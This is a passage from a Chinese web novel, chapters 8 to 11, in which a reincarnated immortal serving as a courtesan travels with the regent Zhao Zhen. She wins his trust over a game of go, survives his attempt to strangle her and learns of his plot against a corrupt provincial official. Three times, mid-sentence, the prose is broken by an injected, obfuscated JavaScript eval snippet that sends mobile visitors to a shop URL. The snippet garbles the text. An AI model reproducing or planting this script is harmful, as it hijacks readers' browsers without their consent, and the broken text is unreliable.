奚瞳虽然这样应着,但她料想,若妍她们的希望恐怕会落空。 陆忧这次上京,是要入仕,作为朝廷新贵,他应当会让他的门客部曲入京安家,作为他在京城立足的倚仗。可家伎…… 之前从未听说名士迁居会让伎子成群结队跟着去的,传出去有辱清名。 而对于陆忧来说,如今最重要的,就是清名。 即便陆忧愿意舍了脸面,赵臻也不会允许他这样做。 赵臻……赵臻…… 奚瞳脑海里又浮现那张俊逸非常却冷到极致的脸。 她闭上眼睛,胸中油然而生一种责任感。 赵臻脾气太差了,心眼儿也小,这样下去很得罪人,也不利于他身心健康。以后的日子,她得好好调/教他。 哎……还得是她啊。 8.第 8 章 赵臻在陆府小住四五日,酒疹已经痊愈,一行人整理行装,准备于次日出发,离开虹州,前往京城。 至于陆家,陆忧先行,同赵臻一道走。陆珏则需将家当理顺一下,之后自行前往京城,赵臻已经为他准备好了宅院。至于陆憧,则留在虹州,照看陆家在此处的产业和人脉。 其实这与陆珏最初的设想不同,他本想阖家上京,鲤跃龙门。但宴会上陆憧被赵臻那样对待,陆珏就这一个儿子,不能不为他考虑。 与其让陆憧在京城,仰赵臻鼻息,步步惊心,不如让他留在虹州当个地头蛇,恣意快活。等陆家在京中站稳了脚跟,再去不迟。 陆憧虽有不甘,但低头看腕子上那个血窟窿,倒也咬牙同意了。 奚瞳在妆房收拾自己的行囊,她和紫虚的行李极少,只几身日常的衣裳,和平日里炖肉的小锅。 若妍在一旁笑她们:“这个锅有什么好带的,京城那般繁华,还能缺你一口锅不成?” 紫虚怒了努嘴:“你不懂,锅用久了,就会有自己的锅气,做出来的饭菜便会有独一份儿的香气。” 奚瞳不懂,但奚瞳点头,她觉得这个就叫做专业。 妆房里几家欢喜几家愁,有些姑娘已经默默开始掉眼泪。 她们的请求如奚瞳所料,并没有得到陆忧的允许,除却奚瞳和紫虚,陆忧只带了绿绮和若妍。 绿绮在陆忧院子里跪了半宿,陆忧心有不忍,也怜惜绿绮的才华,这才点了头,若妍上京的机会,也是绿绮求来的。 至于其他人,她们都清楚,今日过后,便再也不会有从前的好日子了。 大公子那般好色,又那般阴狠,她们这些伎子,哪里有好下场的。 思及此处,她们哭得越来越凶,原先一直欢声笑语的妆房,此时气氛宛如灵堂一般。 若妍走过去想要安慰她们,但此时的安慰,对留下的姑娘来说无疑是一种炫耀。 几人忍不住呛了若妍几句,若妍也很气恼,丢下一句“好心当做驴肝肺”便走了。 奚瞳扫她们一眼,她本不想管这些的。她成仙之后,各路仙君都教育她,修仙修的是超脱因果,说明白一点,就是少管闲事。 可是联想到这些个漂亮妹妹一个个都要折在陆憧那个油腻草包手里,她便非常难受,道心不稳。道心不稳,也是很不利于修炼的。 于是她将手里的包袱打好结,朝赵臻的院子里走去。 赵臻正在同林载下棋,奚瞳直愣愣走进来,温声道:“赵臻,我求你件事。” 赵臻眼皮直跳,林载则噙着笑望着奚瞳,他觉得这伎子真是个妙人,仿佛生来就是要治赵臻的。 赵臻将手里的棋子放回棋篓子,微微拧了上半身,面向奚瞳,冷眸道:“你求我?” “嗯。” “不知道的还以为我求你呢。” 奚瞳明白了,恭恭敬敬俯身行了个礼:“奴婢有一事,求太傅大人援手。” 赵臻冷哼一声:“说。” 奚瞳直起身子,又是一贯的姿态,林载已经为她这幅样子取好了名,叫做“老娘天下第一铁杆子腰板儿”。 奚瞳:“你的人留守虹州监视陆憧的时候,能不能照顾一下妆房里的姑娘。” 话音一落,赵臻的眼睛里便射出寒光,就连一直对奚瞳十分和蔼可亲的林载也敛了笑意。 “你的胆子,真的很大。”赵臻真心道:“你知不知道从你进来,我便有了无数理由可以杀你。” 奚瞳知道赵臻的意思,在他眼里,他同她的身份是云泥之别,她应该跪在他脚下,小心翼翼揣摩他的心情和心思,琢磨着同他对话的措辞,请求他的施舍。 可奚瞳不想这样。 长秦一世,她和他便因为说话拐弯抹角错过了太多,这次她不想重蹈覆辙。 这次她会帮赵臻拿到他想要的一切,作为提供帮助的一方,她至少应当与他是平等的。 赵臻不明白,她就得让他明白。 奚瞳看一眼赵臻和林载正在进行的棋局,赵臻手执黑棋,当真是黑云压城,来势汹汹。 棋局显人心,棋局之上,是赵臻蓬勃的野心。 奚瞳抬眸,同赵臻对视:“陆家唯一拿得出手的人物,只有二公子陆忧,陆珏也好,陆憧也罢,都不堪大用。陆珏出于对你的忌惮,将陆憧留在虹州,以陆憧的性子,未必不会觉得天高皇帝远,放浪行事,惹出祸端。陆家若出了事,便会成为世家攻讦你的把柄,你不能允许这样的事发生,所以派人监视陆憧,不是应该的吗?” 赵臻眼中的寒光已经渐渐凝成杀意,林载也将手中的白棋放了下来。 奚瞳叹气:“这并不是什么难以揣度的计谋,只要读过些书,了解过当今天下局势的人,好好动一动脑子,都能明白这个道理。我进陆府之前,在虹州各处行乞。乞丐素来消息灵通,我知道这些事有什么难的?” 赵臻已经让人查过奚瞳的来历,虽说其幼时踪迹难寻,但她确实当过乞丐。 赵臻的神色和缓三分:“我的人,还没有闲到这种程度,有功夫去照看伎子。” “不用保她们丰衣足食,只保她们安然活着就好。” 赵臻嘴角弯了弯,眸子依然寒凉,衬得笑意也透着狠劲儿:“求人帮忙,总要拿的出谢礼才行,我帮了你,你要如何谢我?” 奚瞳从容道:“我会下棋,可以陪你下棋。” 这下轮到林载笑了:“丫头,你可知你眼前这位是什么水准,棋盘之上,大盈境内,还未有敌手。” 奚瞳没有反驳,只往前走了几步,拿起林载手边棋篓子里的一粒白子,放到了棋盘西北角的一处。 赵臻瞳孔瞬间紧缩。 他布置攻势的时候,处处紧逼,唯有这一处弱点,白子放在上头,虽不能反败为胜,但也能扭转败局,重振旗鼓,同黑子再行酣战。 林载也看明白了这一招的关窍,满脸震惊看着奚瞳。 奚瞳波澜不惊:“如何?我如今可有资格?” 赵臻广袖之中,手已经攥成了拳头,理智告诉他,他应该立即拧断奚瞳的脖子。 可他却忍不住,忍不住对她好奇,想知道她究竟有什么目的,为了这个目的,她究竟还有多少花招可以使。 “哪里学的棋?”半晌,赵臻问道。 奚瞳想,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12632135|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个好问题。 她的棋艺,是长秦王宫太师教授,后于紫薇天庭同各路仙家练手,从蟠桃园的守卫一路杀到太上老君那里。她甚至曾经想同天帝也来一局,但天帝拒绝了。她一直以为是自己品级太低,天帝瞧不上她,后来有次宴会,天帝喝多了,自己摊牌了,他觉得输给一个司酒仙女会很没有面子,所以怯战而逃。 但这样回答赵臻,显然是不行。 奚瞳忍不住有些叹惋,真是百密一疏啊,只顾着显摆,忘了准备质询的答案。 “有个老乞丐极善棋道,我从小跟在他身边,耳濡目染。”奚瞳编了个理由。 林载瞪大了眼睛,棋道并不是民间常见的娱乐活动,只有世家热衷,一个乞丐怎么会。 看出了林载的怀疑,奚瞳补充:“那老头出身富贵,染上了赌钱的毛病,被家人赶了出来,才沦落街头,成为乞丐。” “哦。”林载半信半疑。 奚瞳又看向赵臻:“所以你答应了?那我走了。” 赵臻不置可否,奚瞳欣然离开。 赵臻将棋盘上的棋收拢起来。 林载:“不下了?” “不下了。输了。”赵臻喟然道。 “输了?没有吧。丢一片棋而已,离输还远着呢。” 赵臻想着奚瞳方才素手执棋的样子:“走棋如行军,军心散了,拿什么赢。” 林载也意兴阑珊帮着一起收拾:“你说她真是跟乞丐学的吗?民间真有此等高手?” 赵臻哼一声:“她啊,扯谎不眨眼睛。” 林载面露担忧:“你真要留着她?万一她哪个世家派来的女谍呢?” 赵臻笑了:“留着吧,解解闷儿,挺有意思的。若她真是谍者,那她背后的人,真是煞费苦心,我倒有些佩服了。” 林载摇摇头:“你啊,我劝你一句,你别以为天下女人都入不了你的眼,自古英雄,难过美人关。” 是夜,赵臻又梦到了那个在城墙上翩然舞动的女子。 他如以往一般,试着走近她。与之前无论他如何跋涉,都难以触及她的面目不同,这一次,他分明觉得她就在眼前了。 待他终于走到了她的身边,女子便缓缓转过身来,一双眼睛在圆月之下,顾盼生辉,宛如星辰。 赵臻却惊讶地后退半步,因为此刻他看到的,是奚瞳。 赵臻猝然醒过来,烛光摇曳之下,他心跳强若擂鼓,额间渗出细密的汗。 他的喉结随着他的吞咽滚动了一下,他的瞳孔微微颤抖着,面容里有痛楚、有耻辱、也有狠戾。 因为这个梦,影响的不仅是他的心绪…… 被衾之下,他的身体……陌生的欲望因为梦境而逐渐苏醒…… 过往人生里,赵臻从未因任何女子而动情。他也一贯将情/欲视作男子最大的弱点,认为这是野兽曾是人类祖先的证据。 可今夜,一个伎子,仅凭一个下棋的动作,便轻易勾起了他体内蛰伏的兽/性。 他看向枕头边放着的登天剑,努力压制着体内澎湃的血流。 奚瞳……奚瞳…… 再有下次,我一定杀了你。 9.第 9 章 为了维护陆忧的名声,也为了进出各城时能尽快通过排查,奚瞳她们扮作了侍女。 绿绮和若妍跟陆忧同乘一辇,在旁伺候,赵臻则点名把奚瞳要了去。 奚瞳领着紫虚朝赵臻的车辇走过去的时候,陆忧拉住她的水袖:“你若不愿意,我可以去和太傅说。” 奚瞳道:“啊?我愿意。” 陆忧被奚瞳噎了一下子,绿绮在旁安慰道:“公子莫动气,奚瞳没有别的意思。太傅大人甫一到陆府,便是奚瞳伺候,怕是已经习惯了。” 奚瞳看一眼承桑绿绮,她在天庭清修五百年,久不见这般做作姿态,差点都要忘了。女子若对男子动了心,尤其是对不喜欢自己的男子动了心,脑子大概率会坏好一阵子。 长秦后宫里那些嫔妃便是如此。 奚瞳觉得她父王除了好看一无是处,文不成武不就,好色、贪杯、浅薄、恶俗。可就这么一个男的,却惹得这些美人为了他在漫长岁月里互相戕害。妃子们的真心以及拿性命作为筹码的争宠,成为了父王一生唯一可以拿出去炫耀的事。 那些妃子,脑子刚开始不清楚的时候,就是承桑绿绮现下这副模样。 奚瞳想,承桑绿绮,你的思想很危险。 奚瞳认真看向陆忧:“公子,你动气了?” 陆忧:“……没有。” “那你和绿绮解释一下,免得绿绮伤心。” 陆忧和绿绮:“……” “就今晚吧。”奚瞳一向注重办事效率:“如果今晚入睡前,绿绮还是这般担心你,我会很心疼她。那我难免就会对公子产生怨恨,日后咱们在京城还要相处,最好不要让对方为难。” 陆忧和绿绮:“……” 若妍在旁边也看愣了,这家到底谁是主子,哪怕奚瞳救过她,她也觉得奚瞳有点太分不清大小王了…… 奚瞳走后,陆忧看了承桑绿绮一眼,眼神里有冰冷的责备。 绿绮鼻根泛酸,咬住下唇。她九岁被陆忧买进陆府,至今已经十一年,在陆忧身边陪他长大,他也曾亲手教她琴棋书画。 过去的年岁里,陆忧从不曾用这样的眼神看自己。 奚瞳……你不过才来两个月,凭什么与我相争…… 奚瞳对身后发生之事浑然不知,她走上赵臻的车辇,赵臻坐在正中,林载坐在一侧。 奚瞳拉着紫虚在林载对面坐下来。 车辇缓缓行驶,奚瞳拿出一个小盒子,里头是一块块的榛子牛乳糖。 她递给林载一块,林载点头一笑,塞在嘴里,她又拿一块递给赵臻,赵臻看向她,迟迟没有接。 “又不吃?”奚瞳疑惑。 赵臻在陆府小住这些日子,奚瞳找人打听过他的起居。 赵臻没有吃晚饭的习惯,即便在早午,他对饭食的要求也不高。陆府为了招待他,恨不能将全虹州的山珍海味都端到他厢房里,但赵臻每日只将菜品分一点出来,剩下的便赏给厢房里辛苦劳作的下人。 作息更是规律,每日子时睡,睡前看书,辰时起,晨起练剑,日日如此。 这样的日子固然称得上健康,但显然也是无趣,甚至是清苦的。 奚瞳不明白,他已经是当朝太傅,手握至高的权利和无尽的财富,又是风华正茂的年纪,他为何要过这样清心寡欲的生活。 面对奚瞳的疑问,赵臻道:“不合规矩。” 奚瞳点了点头,心想可能世道不同了,如今的世家大族时兴这种生活方式,过午不食之类的。奚瞳也不强求,刚想将牛乳糖收回来,赵臻却伸手抓住了她的腕子。 奚瞳不解,看向赵臻,只见赵臻一本正经:“我的官阶远在林载之上,你当先问过我。” 这是在责备奚瞳先给林载递糖了。 林载当场翻了一个白眼。 奚瞳挣脱开,将牛乳糖放到赵臻掌心里:“他比你好伺候。” 林载又翻一个。 赵臻这才将牛乳糖放到口中,原以为会有些腥腻,可没想到味道很好,他不由挑了挑眉。 奚瞳像是知道他心里在想什么,解释道:“紫虚在牛乳里加了桂花蜜,去了奶腥,又添了花香,蜂蜜本就比蔗浆清淡,吃起来也不会太过甜腻。” 赵臻点头,看向紫虚:“确是巧思。” 奚瞳也转头看向紫虚,笑容颇为骄傲欣慰。 奚瞳转头的一霎,赵臻看到了她发髻上的铃兰花簪。 这簪子材质像是银的,花叶涂了彩釉,只是不知是彩釉品相太差,还是簪子年岁太久,铃兰花朵之上已经有了许多褐色斑点,远远看上去,就像铁锈一般。 赵臻注意到,这是奚瞳浑身上下唯一一件首饰,就连一旁的紫虚也带着一对珍珠耳珰,方才见了的承桑绿绮和若妍更是花枝招展。 “看来你在陆府的差事办得很差。”赵臻问道:“陆忧竟连件像样的首饰都不赏你。” 奚瞳反应过来,抬手摸一摸头顶的发簪。 水袖随着她小臂抬起而滑落,白皙的半截胳膊落入赵臻的眼眸。 如今虽是乱世,但年轻男女衣着比往昔历朝都要开放一些,半截胳膊而已,实在算不得什么春色。 但赵臻偏偏就被奚瞳肌肤的莹润所惑,心旌忍不住晃了晃,但不过一瞬,他便对自己的想法生出厌弃,也对奚瞳生出恼恨。 奚瞳不知赵臻此刻的心思,只觉得他的眼神冷了三分。 奚瞳未做他想,只解释簪子的事:“并非公子苛待,是我不喜欢其他首饰。” 赵臻暗忖,不喜欢其他首饰,独独钟情这枚簪子? 赵臻问:“你喜欢这簪子?” 奚瞳回答:“倒也不是,只是故人相送,跟了我许多年。” “故人?” “嗯。” “男子?” 这可把奚瞳问住了,那时的赵臻是宦官,不过她想,应该没有宦官会对自己的身份感到骄傲吧…… 所以她答:“算是吧。” 赵臻心头紧了紧:“情郎?” “不是。”奚瞳老实道:“仇人。” 赵臻冷笑,发簪素来都是定情之物,仇人会送这个?而且她还将这簪子戴了许多年,一直戴到生了褐斑,她便是这般对待仇人之无物的? “仇人?”赵臻声音里都冒着寒气:“即便真是仇人,也是因爱生恨吧。” 奚瞳想了想:“没有,就纯恨。” 赵臻听了奚瞳这句话,心情非但没有和缓一些,反而更气闷了,就连他自己都不明白为什么。 车辇安静下来。 赵臻合上双眼闭目养神,林载捧着一本话本子消磨时间,奚瞳和紫虚则时不时透过帷幔,一边吃糖一边看着周围路过的景色。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12636686|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半个时辰后,车队出了城门,又走了一段时间,奚瞳发觉不对。 都城在兰河入海口以北,车队应当往东北方向走,可此时的车辇分明是往东南方向。 “我们不是要去都城吗?”奚瞳径直问道。 林载看向奚瞳,惊讶于她这么快就能发现道路不对。 赵臻却没有睁眼:“先去蓉州锦城。” “蓉州?”奚瞳蹙眉。 蓉州是虹州的邻州,地处虹州东南,不同于虹州地势高峻,蓉州多山地,林木葳蕤,气候湿润,以自然风光秀丽著称。 但以奚瞳对赵臻的了解,他应当不是去赏景的。 “我们去蓉州做什么?”奚瞳又问。 赵臻淡淡道:“杀人。” “杀谁?” 赵臻终于睁开了眼:“你不觉得自己聒噪吗?” 奚瞳不以为然:“我们是同伴,你要做什么,我自然应当事先了解。” 赵臻和林载都被“同伴”这个词逗笑了。 赵臻忍不住提醒她:“奚瞳,认清自己的位置,你只是一个下人。” 奚瞳深吸一口气,拿出了她活了五百多年从未有过的耐心:“下人和同伴,这两个身份并不冲突。我问你,你要做的事,暗中护卫你的那些人知不知道?” 赵臻懒得抬眼:“自然知道。” “他们也是下人,你为何让他们知道?”不等赵臻说话,奚瞳自己就回答了:“因为他们如果不知道你的计划,就不能快速领会你的命令,更有甚者,行差踏错,便会阻挠你的行动。既然他们都知道,我为何不能知道?” 林载在一旁听着,几乎就要被她绕进去了。 赵臻却清醒得很:“他们是男子,是为我卖命的,你区区一介女子,自然……” 奚瞳打断他:“你真是好了伤疤忘了疼,那一身酒疹还没让你长记性吗?” “放肆!谁许你这么跟我说话?!”赵臻这次真的怒了,他对奚瞳实在容忍良多,换做任何其他人,早就不知道被他赐死多少次。 紫虚被这一声斥责吓得打了个哆嗦,奚瞳却不动如山。 “赵臻,我的确不能把命给你,但我却可以威胁你的性命,你不记得了吗?” 车辇内的气氛彻底冷却下来,明明春深,却如初冬一般渡了一层寒气。 “停车!”半晌,赵臻道。 车队随即停下来。 “林载,你带紫虚下去。” 林载:“赵……” “下去!”赵臻吼道。 林载拉着紫虚,走下车辇。一时间,车上只剩下赵臻和奚瞳两个人。 奚瞳还在直直注视着赵臻,据理力争。 下一瞬,一只苍劲有力的大手就掐住了她的脖子。 “赵……臻……”窒息感漫上奚瞳的整个头颅。 她确信,赵臻这一刻是真的想杀了她。 她在等赵臻怒火燎原后的言语。她本以为,在杀她之前,赵臻会斥责她以下犯上、狂悖无礼,因为这一刻的杀意,来源于她挑衅了他高高在上的威权。 可接下来,在窒息中意识混沌的奚瞳似乎听到赵臻狠戾而低沉的质问。 “说。谁派你来勾引我的?!说!” 勾引? 奚瞳突然就爆发出求生欲。 谁勾引你了?! 10.第 10 章 “赵……赵臻……”奚瞳用最了最大的力气,终于从赵臻掌中挣脱,她捂着自己的脖子,大口喘着粗气:“赵玄度……咳咳……你杀我可以,但你……说我勾……勾引你,实在是过分了。” 赵臻片刻暴怒失控后,本来已经冷静不少,听闻“赵玄度”三个字,心弦又猝然收紧。 “你怎知我的字?” 只有亲密之人,比如亲人、爱人、挚友,才会称呼他的字。 可是他的亲人早已死光了,他也没有爱人,唯一的朋友林载,如今是他的麾下,将来是他的臣子。 再如何亲密的关系,一旦染上君臣二字,便生了难以跨越的隔阂。 玄度两个字,他本以为,他再也不会听到了。 奚瞳的呼吸终于平静一些,方才那声玄度,是她一时慌乱失言了。 这字,是她为他取的。 那年长秦王宫,中秋夜宴,赵臻被封殿前枢密使。 他跪谢王上恩典,似乎是想对奚瞳这个宿敌炫耀他于仕途的成功,于是他当着满朝文武,狞笑着望向奚瞳:“臣斗胆,还有一个不情之请。臣出身内庭,有名无字,就请公主赐臣一字吧。” 奚瞳冷笑,她同赵臻不对付,天下皆知。这人竟还恬不知耻,管她要字。 他敢要,她自然敢给,她抬头望向天际的圆月,随口便道:“就叫玄度吧,赵玄度。” 玄度,是月亮的别称,也比喻一个人性情高洁。 看上去满是赞美之意,但放到赵臻这样一个跋扈、阴险的宦官身上,便是十足的讽刺了。 就像你不能对着一个脑满肠肥、满脸冒油之人,说哎哟你身材真好哇,是一样的道理。 赵臻却欣然接受了。 奚瞳没想到,他辗转轮回十数次,仍然保留着她给他的名字。 往事种种如流水,浇熄了奚瞳差点被赵臻杀掉的愤怒,她捂着颈子,看向他。 “赵臻,我不会害你。我想帮你。你得让我知道你的计划,我才能帮你。” 奚瞳的眼神太温柔,也太真诚,赵臻顿感一阵恍惚。 奚瞳靠近他,牵起他的手,在他掌心里写下两个字。 赵臻眸如利剑,射向她的瞳仁,奚瞳没有躲闪:“想要,是吗?” 赵臻的咬肌赫然收紧。 “我帮你。告诉我你的计划,我可以证明,我能帮到你。” 良久的眼神对峙,赵臻率先败下阵来。 他眼神下移,看到奚瞳纤长的颈子上,已经殷红一片,他差点就要了她的命。 赵臻咬牙,一字字道:“真是个大言不惭的疯子。” 奚瞳笑了笑,似乎这时才反应过来,她正值劫后余生,于是语气里带了虚弱:“我说过啊,我是仙女。” 赵臻冷脸横她一眼,坐回到方才的位置,冷静的外表之下,是难以平息的强劲的心跳。 方才奚瞳在他掌心写下的字,是“天下”。 几日之间,区区几面,一局棋,几番话,她便将他内心的野望尽数收入眼底。 所有人都以为,官居太傅,一人之下,已经是赵臻祖上积德。 只有赵臻自己知道,他要的何止是太傅之位。 高氏皇族,灭他赵家满门,他要的,从来都是血债血偿。 他要复仇,他要让苍穹换个日头,他要一统六合,让四海冠上他的姓氏,让江山社稷万象更新。 然而在清谈盛行、礼法至上的今天,他的野望,注定将他塑造成乱臣贼子。可即便如此,他也不曾有过半分退却。 就连一起长大的林载,在知道他的想法之后,也只是说,可以理解他想要复仇的心情,但不会帮他行大逆之事。 然而眼前这个卑微的伎子,却说,她可以帮他。 若非赵臻从不信天地有神,他几乎就要相信她是真的仙女了。 许久,赵臻看向奚瞳:“今日我饶你一命,你当知道,你若留下,便生是我的人,死是我的鬼。我永不原谅背叛我之人。奚瞳,我给你一个反悔的机会,带着你的小妹,现在离开,滚到我看不见的地方。” 奚瞳没有回答,片刻过后,她掀开帷幕:“紫虚!上来!出发了!” 那一瞬,赵臻的胸腔在经历过怒火、恨意与他不愿承认的被识破的恐惧灼烧之后,漫上一袭暖流。本来已经坚如磐石的心肠在这样的温柔包裹中,不易察觉地显露出一条条柔软的缝隙。 …… 车辇再次出发,奚瞳也终于知道了赵臻去蓉州的意图。 目前朝廷用人,采用的是九品中正制。每个州府,都会设有大中正,对当地的饱学之才、贤能之士、淳孝之人进行评级。上下共分九品,达到一定品级便可以入朝为官。 蓉州的大中正,叫程冲,是当今太后周怀淑的三叔公的二儿子的连襟。 就这么一个太后的远方亲戚,还没有血缘关系,就已经能做到一州中正之位,可见周家是何等势强。 程冲在蓉州负责选拔人才,巴结他的自然不少,周家也因此在蓉州有了很强的人才势力。 若蓉州这些世家子只是走后门,求官职,以赵臻现在近乎孤立无援、需要对世家卖好的立场,其实远非对程冲动手的时机。 但偏偏程冲这人有个爱好,他喜欢别人的老婆。 这就造成了蓉州州府锦城的一道奇景——折牡丹。 锦城是整个大盈牡丹绽放最盛之地,因其花型丰腴清丽,被程冲拿来隐喻妍色姣好的少/妇。 锦城乃至整个蓉州,若谁想要做官,才华或者银钱又够不上,但恰好有个貌美的夫人,便可以将夫人送到程冲府上,待他尽兴了,这事儿便成了。 而被摧折的这一朵朵牡丹花,再次回到家中之后,往往会被夫君所弃。 他们将妻子当做礼物献给上峰,谋求仕途,却在仕途到手之后装作高洁君子,认为伺候过别人的妻子是□□下贱之人,将她们永远丢弃在深渊里。 蓉州距离京城千里之遥,程冲做事小心,赵臻原本是不知道这些腌臜交易的。 可偏偏去年年关上,有个年轻人衣衫褴褛,闯进了太傅府,求赵臻为他做主。 此人正是来自蓉州,名叫苏木,是落寞的世家公子。他祖父做过五年大司空,在先帝高宇要立一个胡人娼妓为妃时出言阻挠,被先帝杖责五十,三日后便咽了气,苏家也因此落败了。 虽从世家沦为寒门,但到底还是书香门第,苏木很有才华,先帝也已薨逝,赵臻上位后,对高宇活着时的冤案错案大都进行了平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12636687|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反,苏木也因此有了再次入仕的机会。 这次定品,他做官本已经是板上钉钉的事。 可某日他同新婚妻子李氏在长街游玩时,偶遇了程冲,程冲便看上了李氏。 李氏貌美非常,程冲魂牵梦萦,暗示了苏木多次,苏木都揣着明白装糊涂,糊弄了过去。程冲最终忍不住,找了人夜闯苏府,将苏木迷晕,把李氏掳走了。 李氏在程家呆了三天三夜,走出程府后便投河而亡。 苏木同李氏青梅竹马,恩爱有加,妻子受辱而死,他如何甘心。他知道程冲背后是周家,而大盈目前唯一可以同周家抗衡的,只有太傅赵臻,于是他便乔装打扮,躲过程冲耳目,孤身入京,做了赵臻的门客,同时也让整个苏家为赵臻所用。 而作为交换,他要赵臻替妻子报仇。 赵臻想动周家已久,送上门来的机会,他自然不会放过。 借着陆府之行,他决定去趟蓉州,会会这位中正大人,也顺便考较一下,陆忧这位声名远播的兰河公子,处置这等大案的态度和能力。 奚瞳听后,程冲的事儿她听懂了,赵臻想要铲除周家的意图也很明显了,所以有个问题,她不得不问。 “赵臻,当今陛下是你儿子吗?” 林载正在喝水,闻言大呛特呛。 赵臻则黑着一张脸,看着奚瞳,满眼都是“你想死啊”。 奚瞳抿了抿嘴:“这事儿你不能怪我。你和太后娘娘曾经有过婚约,四海列国都传遍了。而且听说你能坐到太傅之位,太后娘娘也是出了力的。你们两个相识多年、年少慕艾、爱而不得、得不偿失,后来在宫里重逢,趁着先帝身体不好,你们干柴烈火,也不是不能理解。” 赵臻的脸越来越黑,但奚瞳没有停下的意思。 “如果陛下是你的儿子,舐犊情深,你若对周家动手,会有许多掣肘。” 赵臻的脸黑到不行,但看到奚瞳求知若渴的纯真面目,终是服了。 “不是。”赵臻道:“我和周怀淑,不是你想的那样。” 奚瞳的注意力全然在“不是”二字上,她松一口气:“嗯,这样就好办些。” 林载已经憋笑憋出了内伤,全天下人想问而不敢问的问题,这丫头竟然就这么轻易地问出口了,还振振有词,真是妙啊。 赶了整整一天路,马和人都累了,赵臻的暗卫已经在附近的城郭找好了客栈,一行人安顿下来。 奚瞳和紫虚回到厢房,同绿绮若妍会和。 四人聊了一会儿,准备就寝时,敲门声传了进来。 “谁呀!”若妍问,但外头没有人回答。 虹州本就贫瘠,夜深了,留宿的小城寂静无边,敲门声显得有些突兀,也有些阴森。 若妍和绿绮顿时就有些害怕起来。 “谁?”奚瞳又问一遍,还是没有人。 奚瞳拿着蜡烛,走向房门,房门之上没有剪影,外头确然是没有人的。 奚瞳开了门,身后是若妍和绿绮的阻拦之声。 确实无人,就当奚瞳想要关门时,她低头,看到地上有一个小白玉瓶。 她拿起来,瓶封上刻了三个字——“化瘀膏”。 奚瞳摸了摸自己还有些疼的脖子,摇头笑了笑。 11.第 11 章 奚瞳次日醒来,对镜梳头,发现自己原本白皙的颈子上赫然一道淤痕。 她相信,赵臻给她的药膏,应已经是大盈境内能寻到的最好的药膏了,可涂过之后仍然是这副骇人光景,只能说明一个问题,赵臻这狗是一点没手软。 奚瞳抿一抿嘴,算了,在长秦王宫折腾他的时候,她也是回回都往死里下手的,他偶尔报复一下,也完全可以理解嘛…… 可不知不觉,奚瞳牙关的肌肉还是紧了紧……不,她不能理解! 她当时是公主,惩戒一个跋扈的阉人,名正言顺。现在他算什么东西?!凭什么对自己动手?! 奚瞳越想越生气,忍字头上果真一把刀,修仙这条路,还真是锻炼心性啊…… …… 一行人在虹州边城暂住一日,便继续出发,五日之后,抵达蓉州州府锦城城郊。 赵臻早已派人通知了蓉州太守陈膺,太守府已经为他们准备好了厢房。 奚瞳下车,赵臻看她一眼,难免皱眉。 她脖子上的淤痕一开始还仅仅是有些红,后来就变成了靛青色,到了今天,环着脖子一圈紫绀,怎得用了药之后,这颜色还越来越吓人了呢。 赵臻心中涌现出一丝奇妙的感受,他想,这大致叫做后悔。奚瞳再怎么居心叵测,也不过是个十八九岁的小姑娘。 他对待这个年纪的女子一向宽仁,哪怕她们冒犯他将他惹急了,也不过就是痛快杀了,不让她们遭罪,很少伤其体肤。 可他一遇到奚瞳仿佛就失了控,她好好活着,他气不过,她轻易死了,他又有点舍不得。 陆忧也很担心:“你这脖子,真的没事吗?” 陆忧一早就问过奚瞳,脖子的伤怎么来的,奚瞳好面子,不想承认是被赵臻这狗掐的,便谎称是走得太急,脑袋让门夹了,正好夹在脖子上。 听闻陆忧此刻的关心,奚瞳将手抚上颈子,虽说看着吓人,但现在已经不疼了,料想紫绀散去,便就痊愈了。 她摇摇头:“没事了,下次哪个门再敢夹我,我就卸了它,砸个稀巴烂。” 说罢有意无意看赵臻一眼,赵臻报以一个冷哼。 几人找了一家客栈小憩,打算住一晚,明日进城,顺道商量接下来的对策。 赵臻来蓉城这一趟,不是什么微服私访,打的是明牌,他动程冲,就是跟世家释放信号,让他们掂量掂量现在的朝堂究竟是谁说了算。 但明牌有明牌的劣势,那便是对手会有所防备。 所以赵臻在对程冲发起攻势的时候,必然要有人从旁辅助,陆忧是不二人选。 这是对程冲的算计,也是对陆忧的考校。 陆珏率领陆家门客部曲北上进京的消息,已经早早被赵臻的人放出去。 众人自然会以为陆忧也是跟随陆家大队的,不会想到赵臻单把他拎出来,来了蓉州。 赵臻的计划是他和陆忧兵分两路。 赵臻和林载前往太守府,借太守陈膺的力量从明面上调查程冲,而陆忧则扮作求官之人,去中□□面见程冲,承桑绿绮扮作陆忧的夫人。以绿绮的美貌,程冲绝不会放过。程冲一旦露出马脚,便给了赵臻动手的理由。 “不行。”陆忧拒绝:“这样岂不是置绿绮于险境?!” 